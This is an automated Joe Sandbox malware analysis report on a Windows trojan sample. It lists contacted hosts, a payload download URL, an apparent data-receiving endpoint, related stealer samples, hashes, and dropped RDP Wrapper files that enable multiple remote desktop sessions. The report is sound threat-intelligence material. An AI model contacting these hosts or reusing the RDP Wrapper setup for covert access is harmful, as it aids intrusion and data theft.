Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
hansgborn.eu	188.114.96.3	true	false	0%, Virustotal, Browse	unknown
api.ipify.org	104.26.12.205	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://147.45.44.104/prog/66f55533ca7d6_RDPWInst.exe	false	23%, Virustotal, Browse	unknown
http://api.ipify.org/	false	0%, Virustotal, Browse	unknown
https://hansgborn.eu/receive.php	false	0%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://stascorp.com/load/1-1-0-62	RDPWInst.exe, RDPWInst.exe, 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr	false	1%, Virustotal, Browse	unknown
http://www.apache.org/licenses/LICENSE-2.0	RDPWInst.exe, 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr	false	0%, Virustotal, Browse	unknown
http://api.ipify.orgd	hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002DB5000.00000004.00000800.00020000.00000000.sdmp, hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002DD3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://stascorp.comDVarFileInfo$	hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002DB5000.00000004.00000800.00020000.00000000.sdmp, RDPWInst.exe, 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr, rdpwrap.dll.8.dr	false		unknown
https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.iniU	RDPWInst.exe, 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr	false	0%, Virustotal, Browse	unknown
http://hansgborn.eu	hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002DD3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://schemas.xmlsoap.org/soap/encoding/	hloRQZmlfg.exe, 00000000.00000002.1920702414.00000000050F0000.00000004.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/	RDPWInst.exe, 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr	false	0%, Virustotal, Browse	unknown
https://github.com/lontivero/Open.Nat/issuesOAlso	hloRQZmlfg.exe, 00000000.00000002.1920702414.00000000050F0000.00000004.08000000.00040000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://schemas.xmlsoap.org/soap/envelope/	hloRQZmlfg.exe, 00000000.00000002.1920702414.00000000050F0000.00000004.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.ini	RDPWInst.exe	false	2%, Virustotal, Browse	unknown
https://hansgborn.eu/receive.phpd	hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002DD3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://hansgborn.eud	hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002DD3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://upx.sf.net	Amcache.hve.38.dr	false	URL Reputation: safe	unknown
http://147.45.44.104	hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002CF1000.00000004.00000800.00020000.00000000.sdmp	false	21%, Virustotal, Browse	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002CF1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://hansgborn.eu	hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002DD3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://api.ipify.org	hloRQZmlfg.exe, 00000000.00000002.1919966763.0000000002DD3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.26.12.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
8.46.123.33	unknown	United States	62713	AS-PUBMATICUS	true
188.114.96.3	hansgborn.eu	European Union	13335	CLOUDFLARENETUS	false
147.45.44.104	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528586
Start date and time:	2024-10-08 03:22:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	41
Number of new started drivers analysed:	3
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	hloRQZmlfg.exe renamed because original name is a hash value
Original Sample Name:	cee4e023e6afaaa51f600caec3469215.exe
Detection:	MAL
Classification:	mal100.spre.troj.evad.winEXE@38/13@2/5
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 99% Number of executed functions: 104 Number of non-executed functions: 49
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.21
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus16.westus.cloudapp.azure.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target hloRQZmlfg.exe, PID 2444 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:23:51	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.26.12.205	file.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	Prismifyr-Install.exe	Get hash	malicious	Node Stealer	Browse	api.ipify.org/
	2zYP8qOYmJ.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	api.ipify.org/
239.255.255.250	https://starylasfe.com.de/6SZZr/	Get hash	malicious	HTMLPhisher	Browse
	https://Vv.ndlevesio.com/vrbU/	Get hash	malicious	Unknown	Browse
	http://hans.uniformeslaamistad.com/yuop/66e6ea133c92f_crypted.exe#xin	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse
	http://pay.christinagstewart.com/	Get hash	malicious	Unknown	Browse
	http://hans.uniformeslaamistad.com/prog/66ce237125ba7_vjrew2ge.exe	Get hash	malicious	Unknown	Browse
	Audio_Msg..00293614554893Transcript.html	Get hash	malicious	Unknown	Browse
	http://hans.uniformeslaamistad.com/prog/66f5db9e54794_vfkagks.exe	Get hash	malicious	Unknown	Browse
	http://xdr.euw31usea1-carbonhelixbytedandomaincontrolpanele-for-github.sentinelone.net/	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	RemittanceDetails(Rjackson)CQDM.html	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	Ref#0503711.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	8ID0109FLT24PO92CD-R.pdf	Get hash	malicious	HTMLPhisher	Browse	104.26.12.205
	shipping.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	QUOTATIONS#08673.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	MAVI VATAN - VSL's DETAILS.docx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	http://pub-6abf9f4f2e414af1a92f1d0cac9c1674.r2.dev/auth_gen.html	Get hash	malicious	Unknown	Browse	172.67.74.152
	New order.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	http://netflix.dittmedlemskap.com/	Get hash	malicious	Unknown	Browse	172.67.74.152
	DHL_Shipment_Details_8th_October.pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	http://duttweilerangel6891-sidebarg165895-flarew256.pages.dev/help/contact/656749019228815	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
hansgborn.eu	file.exe	Get hash	malicious	RDPWrap Tool	Browse	188.114.97.3
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	188.114.97.3
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse	188.114.97.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	https://starylasfe.com.de/6SZZr/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	2ngxhElaud.exe	Get hash	malicious	Xmrig	Browse	172.67.173.168
	copyright_infringement_evidence_1.exe	Get hash	malicious	Unknown	Browse	172.67.158.129
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	Copyright_Infringement_Evidence.exe	Get hash	malicious	Unknown	Browse	172.67.158.129
	ArT23Ix6Ox.exe	Get hash	malicious	Unknown	Browse	172.67.159.186
	cqKYl7T4CR.exe	Get hash	malicious	Unknown	Browse	104.21.9.92
	ArT23Ix6Ox.exe	Get hash	malicious	Unknown	Browse	104.21.9.92
	cqKYl7T4CR.exe	Get hash	malicious	Unknown	Browse	172.67.159.186
FREE-NET-ASFREEnetEU	T2bmenoX1o.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	http://hans.uniformeslaamistad.com/yuop/66e6ea133c92f_crypted.exe#xin	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	147.45.44.104
	http://hans.uniformeslaamistad.com/prog/66ce237125ba7_vjrew2ge.exe	Get hash	malicious	Unknown	Browse	147.45.44.104
	http://hans.uniformeslaamistad.com/prog/66f5db9e54794_vfkagks.exe	Get hash	malicious	Unknown	Browse	147.45.44.104
	T8TY28UxiT.dll	Get hash	malicious	Unknown	Browse	147.45.116.5
	T8TY28UxiT.dll	Get hash	malicious	Unknown	Browse	147.45.116.5
	Q0cWJo6Jvh.exe	Get hash	malicious	Unknown	Browse	147.45.116.5
	Q0cWJo6Jvh.exe	Get hash	malicious	Unknown	Browse	147.45.116.5
	lihZ6gUU7V.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	Bn7LPdQA1s.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	https://starylasfe.com.de/6SZZr/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	2ngxhElaud.exe	Get hash	malicious	Xmrig	Browse	172.67.173.168
	copyright_infringement_evidence_1.exe	Get hash	malicious	Unknown	Browse	172.67.158.129
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	Copyright_Infringement_Evidence.exe	Get hash	malicious	Unknown	Browse	172.67.158.129
	ArT23Ix6Ox.exe	Get hash	malicious	Unknown	Browse	172.67.159.186
	cqKYl7T4CR.exe	Get hash	malicious	Unknown	Browse	104.21.9.92
	ArT23Ix6Ox.exe	Get hash	malicious	Unknown	Browse	104.21.9.92
	cqKYl7T4CR.exe	Get hash	malicious	Unknown	Browse	172.67.159.186
AS-PUBMATICUS	DocuSign-Docx.pdf	Get hash	malicious	Unknown	Browse	185.64.189.112
	https://issuu.com/smart_media/docs/die_welt_wirtschaft/19	Get hash	malicious	Unknown	Browse	198.47.127.18
	https://coisunibaseaiusignin.gitbook.io/	Get hash	malicious	HTMLPhisher	Browse	185.64.191.210
	http://uppholldbcloginn.gitbook.io/us/	Get hash	malicious	HTMLPhisher	Browse	198.47.127.205
	http://geminislogins.gitbook.io/us/	Get hash	malicious	HTMLPhisher	Browse	185.64.191.210
	Farahexperiences.com_Report_52288.pdf	Get hash	malicious	Unknown	Browse	185.64.189.112
	http://emaildlatt-mailcom-28e2uy93.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	198.47.127.18
	http://coinbassewalletextensin.gitbook.io/us	Get hash	malicious	Unknown	Browse	185.64.191.210
	https://metamaseiklogin.gitbook.io/	Get hash	malicious	HTMLPhisher	Browse	185.64.191.210
	https://mmetmask-login.gitbook.io/	Get hash	malicious	HTMLPhisher	Browse	185.64.191.210

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	2ngxhElaud.exe	Get hash	malicious	Xmrig	Browse	188.114.96.3
	https://Vv.ndlevesio.com/vrbU/	Get hash	malicious	Unknown	Browse	188.114.96.3
	x2Yi9Hr77a.exe	Get hash	malicious	XWorm	Browse	188.114.96.3
	file.exe	Get hash	malicious	Xmrig	Browse	188.114.96.3
	http://hans.uniformeslaamistad.com/prog/66f5db9e54794_vfkagks.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	STlUEqhwpx.exe	Get hash	malicious	Quasar	Browse	188.114.96.3
	EUYIlr7uUX.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	Credential Flusher	Browse	188.114.96.3
	T6l6gPxwQU.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://mailstat.us/tr/t/5w8u1qwlwl61e4h/1/https:/krediti.ca/#Y2FyYS5jJGNiZmxvb3JzaW5jLmNvbQ==	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	188.114.96.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Program Files\RDP Wrapper\rdpwrap.dll	file.exe	Get hash	malicious	RDPWrap Tool	Browse
	file.exe	Get hash	malicious	RDPWrap Tool	Browse
	file.exe	Get hash	malicious	RDPWrap Tool	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse

Created / dropped Files

C:\Program Files\RDP Wrapper\rdpwrap.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\RDPWInst.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	116736
Entropy (8bit):	5.884975745255681
Encrypted:	false
SSDEEP:	3072:m3zxbyHM+TstVfFyov7je9LBMMmMJDOvYYVs:oMjTiVw2ve9LBMMpJsT
MD5:	461ADE40B800AE80A40985594E1AC236
SHA1:	B3892EEF846C044A2B0785D54A432B3E93A968C8
SHA-256:	798AF20DB39280F90A1D35F2AC2C1D62124D1F5218A2A0FA29D87A13340BD3E4
SHA-512:	421F9060C4B61FA6F4074508602A2639209032FD5DF5BFC702A159E3BAD5479684CCB3F6E02F3E38FB8DB53839CF3F41FE58A3ACAD6EC1199A48DC333B2D8A26
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 54% Antivirus: Virustotal, Detection: 57%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........N.rB/.!B/.!B/.!.~.!j/.!.~.!&/.!.~3!H/.!..'!G/.!B/.!./.!O}.!F/.!O}0!C/.!O}7!C/.!O}2!C/.!RichB/.!................PE..d...Z..T.........." .................Q....................................... ............`.........................................0...l.......<...................................................................`...p............ ...............................text............................... ..`.rdata..<.... ......................@..@.data....=..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................

C:\Program Files\RDP Wrapper\rdpwrap.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\RDPWInst.exe
File Type:	Generic INItialization configuration [SLPolicy]
Category:	dropped
Size (bytes):	443552
Entropy (8bit):	5.4496544667416975
Encrypted:	false
SSDEEP:	768:DUoDQVQpXQq4WDi9SUnpB8fbQnxJcy8RMFdKKb8x8Rr/d6gl/+f8jZ0ftlFn4m7Y:TJGYS33L+MUIiG4IvREWddadl/Fy/k9c
MD5:	92BC5FEDB559357AA69D516A628F45DC
SHA1:	6468A9FA0271724E70243EAB49D200F457D3D554
SHA-256:	85CD5CD634FA8BBBF8D71B0A7D49A58870EF760DA6D6E7789452CAE4CAB28127
SHA-512:	87E210E22631C1A394918859213140A7C54B75AEC9BBC4F44509959D15CFA14ABCBFEB1ADF9CFFA11B2E88F84A8708F67E842D859E63394B7F6036CE934C3CC9
Malicious:	false
Preview:	; RDP Wrapper Library configuration..; Do not modify without special knowledge..; Edited by sebaxakerhtc....[Main]..Updated=2024-09-25..LogFile=\rdpwrap.txt..SLPolicyHookNT60=1..SLPolicyHookNT61=1....[SLPolicy]..TerminalServices-RemoteConnectionManager-AllowRemoteConnections=1..TerminalServices-RemoteConnectionManager-AllowMultipleSessions=1..TerminalServices-RemoteConnectionManager-AllowAppServerMode=1..TerminalServices-RemoteConnectionManager-AllowMultimon=1..TerminalServices-RemoteConnectionManager-MaxUserSessions=0..TerminalServices-RemoteConnectionManager-ce0ad219-4670-4988-98fb-89b14c2f072b-MaxSessions=0..TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-MaxSessions=2..TerminalServices-RDP-7-Advanced-Compression-Allowed=1..TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-LocalOnly=0..TerminalServices-RemoteConnectionManager-8dc86f1d-9969-4379-91c1-06fe1dc60575-MaxSessions=1000..TerminalServices-DeviceRedirection-Licenses-TS

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_hloRQZmlfg.exe_e14f1ae934bde6c6503b1e1bfaf2ffefa86c324_8c8de2e2_89409a0e-f3ad-4606-acec-29704ed3c812\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.3840373093637786
Encrypted:	false
SSDEEP:	192:Dr0fZbf0BU/KaGwOpsMLmdzuiFYZ24IO8S:/0fZwBU/KaySMSdzuiFYY4IO8S
MD5:	C557E311E2DE95A575477C498BA9AD12
SHA1:	8942E4F3747DC39DB0959D5AFD1252F87877C1A8
SHA-256:	2E924038991D81C873776C3A9C6DAB5FD94EA3D60E24415C63271CAE6196C3EE
SHA-512:	796FCC9E32B37166AE92B17FC710CEFD418B2218949B0FF9373E8D0714F3DE4448332BD3B6114CF955F9F8AF74EE6FAEB93ADB317D4E368E1DFB05166D01D3AB
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.8.2.4.2.2.3.9.1.1.3.0.8.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.8.2.4.2.2.5.2.0.8.1.8.4.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.9.4.0.9.a.0.e.-.f.3.a.d.-.4.6.0.6.-.a.c.e.c.-.2.9.7.0.4.e.d.3.c.8.1.2.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.b.9.5.2.6.c.0.-.f.9.b.0.-.4.4.d.5.-.b.7.f.b.-.1.e.e.1.f.6.8.7.7.3.e.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.h.l.o.R.Q.Z.m.l.f.g...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.D.P.C.r.e.a.t.o.r...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.9.8.c.-.0.0.0.1.-.0.0.1.4.-.b.f.0.4.-.0.9.9.e.2.0.1.9.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.2.a.5.d.9.2.d.4.1.7.9.1.6.5.b.c.0.8.1.7.f.d.a.7.2.e.7.5.7.5.b.c.0.0.0.0.0.0.0.0.!.0.0.0.0.b.f.2.c.e.f.f.1.f.1.9.f.0.9.a.7.0.8.6.3.d.1.f.8.c.7.b.e.0.f.a.9.6.6.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER91CD.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Tue Oct 8 01:23:44 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	385976
Entropy (8bit):	3.362067021584867
Encrypted:	false
SSDEEP:	6144:RebYc4AyUsSrjTgTyrGuVwm0j/TknLIe:RiYIQSrjTmuVwrj/Tkn8e
MD5:	0A6687B45E85F7A0CDCE28AB7018ADEB
SHA1:	BD857779DEE2B40E4D6ECDE60A08E4650455F9B8
SHA-256:	FC484CA4F873C983E2A2EB280D1F50CE29CF609EEBEFEB261BEEC22B0EAD4B9C
SHA-512:	5B063E6AED2B9BB004461797CD30EE54287E7417526E1845C3E0E9FD6021C2A9285129377225784B9852ACE44A46768E1E4280264E5B621102A9D268BE0A8FD7
Malicious:	false
Preview:	MDMP..a..... ..........g........................\)..........<....4......................`.......8...........T............k..(x..........05...........7..............................................................................eJ.......7......GenuineIntel............T...........u..g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER93C2.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8402
Entropy (8bit):	3.6922068753529245
Encrypted:	false
SSDEEP:	192:R6l7wVeJlP6k+Y6YSISU9kdgmfZTuprH89bXUsf59m:R6lXJ96kR6YtSU9kdgmf9DXHfq
MD5:	2C0BCCD2941556161A66FF1C6E08DD58
SHA1:	3CC4BED02D8B5D8B207AACCBBEBA68523A1FD520
SHA-256:	96E2E52D23EC84EBAE80BD5A0CD406162130687899D9708708DAF7150FCCA945
SHA-512:	D63C69479B741FBC1E593B53665AE9B05AA897994942BCA0C78720C1D1C553C40766FD2E16A86A9BA9F65E52D0CD01524FCA695D51F7A9C13BBF7AC462B54C29
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.4.4.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9597.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4749
Entropy (8bit):	4.4710602476547665
Encrypted:	false
SSDEEP:	48:cvIwWl8zsmJg77aI9IbWpW8VYhYm8M4JTu3FTg+q8vhuT10/WiXd:uIjf8I7Sq7VZJxKu10/ZXd
MD5:	3E6317D8E4B0B87DB73DE3C52437BEFB
SHA1:	CE0B76533BBE3613DA1EA5383057CBEE40CE631B
SHA-256:	518EB8F48B09A51E15C54BD91B9F5AC53DC49292070EA9990CD29DBB13223D12
SHA-512:	CDDC2F7AEF96DC10F8B23EF76590A7FEB7598C7C098C1E77EE99F06617EA027B8864DEB2E2AB9C40BCDBAB9894C038BE45E89FE829241FBC3D107B742A1B066F
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="533786" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Download File

Process:	C:\Users\user\Desktop\hloRQZmlfg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	1785344
Entropy (8bit):	6.646511331349125
Encrypted:	false
